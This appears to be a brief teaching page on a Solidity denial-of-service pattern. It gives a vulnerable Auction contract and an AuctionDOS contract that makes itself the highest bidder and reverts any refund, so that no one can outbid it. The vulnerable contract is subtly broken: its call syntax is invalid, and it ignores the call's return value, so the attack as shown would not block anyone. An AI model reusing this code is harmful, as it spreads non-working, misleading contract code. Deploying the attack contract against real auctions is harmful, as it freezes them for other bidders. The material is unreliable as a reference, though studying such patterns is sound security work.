βͺExternal Call Reverts DoS
contract Auction {
address public currentOwner;
uint public currentBid;
constructor() payable {
currentOwner = msg.sender;
currentBid = msg.value;
}
receive() external payable {
require(msg.value > currentBid);
payable(currentOwner).call{msg.value}("");
currentOwner = msg.sender;
currentBid = msg.value;
}
}contract AuctionDOS {
constructor(address payable _auction) payable {
uint currentBid = Auction(_auction).currentBid();
require(msg.value > currentBid, "You need to send more ether to be the currentOwner");
// we register the contract as the currentOwner
(bool success,) = _auction.call{value: msg.value}("");
require(success, "Failed to register as currentOwner");
}
receive() external payable {
// the contract will revert the transaction whenever there is an attempt to change the currentOwner
revert("newOwner can not be set anymore x)");
}
}Last updated